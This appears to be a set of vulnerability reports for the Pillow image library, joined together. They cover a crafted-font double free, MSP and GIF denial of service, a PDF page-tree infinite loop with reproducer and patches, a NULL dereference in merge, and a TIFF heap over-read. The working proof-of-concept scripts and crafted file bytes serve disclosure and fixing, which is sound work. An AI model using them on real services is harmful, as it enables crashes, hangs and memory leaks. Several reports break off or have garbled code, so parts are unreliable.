python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) localong = tt["head"].indexToLocFormat tt.close()
raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyfoff = tbl["glyf"][0]; locaoff = tbl["loca"][0] if localong: o0 = struct.unpackfrom(">I", raw, locaoff + 4gid)[0] else: o0 = struct.unpackfrom(">H", raw, locaoff + 2gid)[0] 2 struct.packinto(">h", raw, glyfoff + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, strokewidth=2) # load error -> FTDoneGlyph on bad pointer
Result on the pinned build: FTLoadGlyph returns an error and execution reaches the glypherror cleanup that calls FTDoneGlyph(glyph) (the plugin surfaces OSError: invalid outline).
Impact Applications that draw text with strokewidth != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FTDoneGlyph.
Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels.
Details The MSP decoder writes each run into an unbounded io.BytesIO and can expand roughly 85x per run:
- src/PIL/MspImagePlugin.py:144-146
Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so MAXIMAGEPIXELS does not bound it.
On Pillow 12.3.0 and upstream main (ad277e2761b489681e71b51e91367d46b0ceabb9), a GIF with a long comment makes getglobalheader() copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional Moderate severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.
============================================================================ Infinite loop in PdfParser.rewritepages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewritepages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or saveall=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
The bug is in PdfParser.rewritepages() in src/PIL/PdfParser.py (the while pagestreenoderef: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin.save() → writecatalog() → rewritepages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.
This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processedoffsets guard added to readprevtrailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.
The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewritepages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.
Details
PdfParser.rewritepages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.
The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:
%PDF-1.4 1 0 obj <</Type /Catalog /Pages 2 0 R>> endobj 2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>> endobj 3 0 obj <</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <</Size 4 /Root 1 0 R>> startxref 192 %%EOF
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:
File "src/PIL/PdfImagePlugin.py", line 263, in save existingpdf.writecatalog() File "src/PIL/PdfParser.py", line 473, in writecatalog self.rewritepages() File "src/PIL/PdfParser.py", line 505, in rewritepages while pagestreenoderef:
The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.
The loop:
python src/PIL/PdfParser.py:483-510 def rewritepages(self) -> None: pagestreenodestodelete = [] for i, pageref in enumerate(self.origpages): pageinfo = self.cachedobjects[pageref] del self.xreftable[pageref.objectid] pagestreenodestodelete.append(pageinfo[PdfName(b"Parent")]) … # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid] pagestreenoderef = pagestreenode.get(b"Parent", None) self.origpages = []
How the input gets there: with append=True, PdfImagePlugin.save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls readpdfinfo(). That reads the catalog, reads the page-tree root through readindirect() — which stores every object it reads in self.cachedobjects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearizepagetree(), which readindirect()s every /Kids entry. So after parsing, origpages == [3 0 R] and objects 2 and 3 are both in cachedobjects. save() then calls existingpdf.writecatalog() → rewritepages().
For the file above, the first loop puts page 3's /Parent, 2 0 R, into pagestreenodestodelete. The inner while looks object 2 up in cachedobjects, removes it from the xref table on the first pass, and sets pagestreenoderef to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cachedobjects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — delitem only records the id in deletedentries, while contains keeps answering from existingentries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearizepagetree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.
The parser already defends against exactly this shape of problem one level up: readprevtrailer() (src/PIL/PdfParser.py:699-722) carries a processedoffsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewritepages() has no equivalent guard.
The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.
Impact
Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or saveall=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.
This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.
Reproducing
repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.
The script builds two one-page PDFs in memory with makepdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:
- control has <</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file. - cyclic has <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own /Parent. This is the 333-byte file shown above.
For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.
Expected output on this commit (PDF dumps omitted):
[control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 savehandler(self, fp, filename) save() /src/src/PIL/PdfImagePlugin.py:263 existingpdf.writecatalog() writecatalog() /src/src/PIL/PdfParser.py:473 self.rewritepages() rewritepages() /src/src/PIL/PdfParser.py:506 pagestreenode = self.cachedobjects[pagestreenoderef] ... BUG
The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewritepages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.
Suggested fix
Both attached patches fix the root cause, which is that the /Parent walk in rewritepages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.
Attached patch 1 (tolerant; our preference) adds one processedpagestreenodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:
python src/PIL/PdfParser.py, rewritepages() processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: if pagestreenoderef in processedpagestreenodes: break processedpagestreenodes.add(pagestreenoderef) …
Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.
Attached patch 2 (strict) follows the readprevtrailer() guard from the CVE-2026-42310 fix. It keeps a processedpagestreenodes list for each page and calls checkformatcondition(pagestreenoderef not in processedpagestreenodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from writecatalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.
Each patch also adds a testpagetreeparentloop regression test to Tests/testpdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearizepagetree() does not follow /Parent.
Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearizepagetree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.
Related findings
- Exponential page tree expansion in PdfParser.linearizepagetree() (repeated /Kids references) hangs PDF append — the downward counterpart of this bug in the same parser and on the same Image.save(..., "PDF", append=True) entry point: linearizepagetree() (src/PIL/PdfParser.py:1080-1094) recurses into every /Kids entry and re-parses it via readindirect() with no visited set, so a /Pages chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct /Kids cycle ends in RecursionError). It differs from this report in the link followed (/Kids down vs /Parent up), the function and phase (linearizepagetree() during readpdfinfo() in the PdfParser constructor vs rewritepages() during writecatalog()), the introducing commit (6207b44ab1ff vs 24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the /Parent walk and leave the /Kids reproducer hanging in linearizepagetree(), and the /Kids guard conversely leaves this reproducer spinning in rewritepages() — verified by cross-applying each patch. Applied together (the /Kids guard plus attached patch 2), both reproducers are rejected with PdfFormatError: page tree loop found and Tests/testpdfparser.py + Tests/testfilepdf.py pass (30 tests).
The patch (1 of 2)
Track visited page-tree nodes in PdfParser.rewritepages() so a cyclic /Parent chain cannot loop forever when appending to a PDF
Applies to src/PIL/PdfParser.py at the commit above.
diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,28 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + pdf.writecatalog() + pdf.writexrefandtrailer() + assert 2 in pdf.xreftable.deletedentries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table + processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: + if pagestreenoderef in processedpagestreenodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processedpagestreenodes.add(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]
The patch (2 of 2)
Raise PdfFormatError("page tree loop found") in PdfParser.rewritepages() when a page's /Parent chain loops back on itself
Applies to src/PIL/PdfParser.py at the commit above.
diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,27 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + with pytest.raises(PdfFormatError, match="page tree loop found"): + pdf.writecatalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: + processedpagestreenodes = [] while pagestreenoderef: + checkformatcondition( + pagestreenoderef not in processedpagestreenodes, + "page tree loop found", + ) + processedpagestreenodes.append(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 """Infinite loop in PdfParser.rewritepages() on a cyclic /Parent chain.
Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes rewritepages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever.
We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. """ import io import signal import time import traceback
from PIL import Image
WATCHDOGS = 5
def makepdf(pagesroot): """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.""" objects = [ b"<</Type /Catalog /Pages 2 0 R>>", pagesroot, b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", ] pdf = bytearray(b"%PDF-1.4\n") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body) xrefoffset = len(pdf) pdf += b"xref\n0 4\n0000000000 65535 f \n" pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets) pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset return bytes(pdf)
class StillRunning(BaseException): pass
def onalarm(signum, frame): raise StillRunning
def appendimage(name, pdf): """Append an image to pdf; return True if it finished before the watchdog.""" print(f"--- {name}: {len(pdf)}-byte PDF ---") print(pdf.decode("latin-1"), end="") signal.alarm(WATCHDOGS) start = time.monotonic() try: Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) except StillRunning as e: print(f"[{name}] still running after {WATCHDOGS}s, interrupted in:") for frame in traceback.extracttb(e.traceback): if "/PIL/" in frame.filename: print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f"[{name}] raised {type(e).name}: {e}") return True finally: signal.alarm(0) print(f"[{name}] append finished in {time.monotonic() - start:.3f}s") return True
signal.signal(signal.SIGALRM, onalarm)
Set up: the well-formed file is appended to instantly. control = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>") if not appendimage("control", control): print("control case did not finish; environment problem, no verdict") print("OK") raise SystemExit
Attack: the same file, except the /Pages root is its own /Parent. cyclic = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>") finished = appendimage("cyclic", cyclic)
Verify: a fixed parser finishes (or rejects the file) like the control. print("BUG" if not finished else "OK") </details>
---
Summary Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.
Details The validation loop skips band 0:
- src/PIL/Image.py:3795 iterates for band in bands[1:] and checks mode and size only for those.
For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:
- src/libImaging/Bands.c:302, :311, :321
The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:
- src/PIL/IptcImagePlugin.py:156-160 - src/PIL/IptcImagePlugin.py:169 registers the opener with no accept function.
PoC python from PIL import Image
Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0. band0 = Image.new("I", (4, 4)) Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
Run it: $ python 02poc.py Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer: ==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 #0 ImagingMerge src/libImaging/Bands.c:311 #1 merge src/imaging.c:2492 SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge The null address confirms the dereference of the missing image8 plane for band 0.
Impact NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.
The bug is in decodeTile() and decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width 4). They then unpack each row with the unpacker that TiffImagePlugin.setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.
The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.
The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).
The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.
Details
decodeTile() and decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width 4), but unpack each row with the shuffler that TiffImagePlugin.setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width state->bits / 8 bytes) fits inside the row libtiff wrote. decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectoryv2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.
The ~400-byte TIFF tilecount2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOCPERTURB=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).
Why the two parsers disagree
libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAGPHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.
Pillow keeps the first value and carries on:
python src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectoryv2.setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...") dest[tag] = values[0]
so setup() sees photo == 6. OPENINFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:
python src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.useloadlibtiff = READLIBTIFF or self.compression != "raw" … if photo == 6: self.mode = "RGB" if self.compression in "jpeg" and self.planarconfiguration == 1: rawmode = "RGB" else: rawmode = "RGBX"
RGBX is a 32-bit rawmode, so getunpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":
c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAGPHOTOMETRIC, &photometric); // unset -> stays 0 … readAsRGBA = photometric == PHOTOMETRICYCBCR; // 0 … if (TIFFIsTiled(tiff)) { decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check
decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds rowbytesize-strided rows to the shuffler:
c // src/libImaging/TiffDecode.c:403-487 (decodeTile) tilebytessize = TIFFTileSize(tiff); // 256 … rowbytesize = TIFFTileRowSize(tiff); // 16 … if (tilebytessize > ((tilelength state->bits / planes + 7) / 8) tilewidth) { // 256 > 1024 is false -> no abort … } state->bytes = tilebytessize; newdata = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) … for (tiley = 0; tiley < currenttilelength; tiley++) { shuffler( // copy4: reads currenttilewidth4 = 64 bytes (UINT8 )im->image[tiley + y] + x im->pixelsize, state->buffer + tiley rowbytesize, // from offset 16tiley currenttilewidth );
Row tiley is read from [16·tiley, 16·tiley + 64); for tiley = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiffbitsperpixel − 1) × rowbytesize bytes, and rowbytesize scales with the attacker-chosen TileWidth.
Note also that the existing one-sided check at line 434 multiplies the file-controlled tilewidth/tilelength (UINT32, accepted up to INTMAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tilewidth state->bits wraps for tilewidth ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.
Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):
c // src/libImaging/TiffDecode.c:528-548 (decodeStrip) unpackerrowbytesize = (state->xsize state->bits / planes + 7) / 8; … rowbytesize = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (rowbytesize == 0 || unpackerrowbytesize > rowbytesize) { state->errcode = IMAGINGCODECBROKEN; return -1; }
The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.
Same gap in decodeAsRGBA()
decodeAsRGBA() always produces img.width 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectoryv2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcrdup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.
The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tiledup.tif). ycbcrdup.tif above reaches decodeAsRGBA() the same way.
Impact
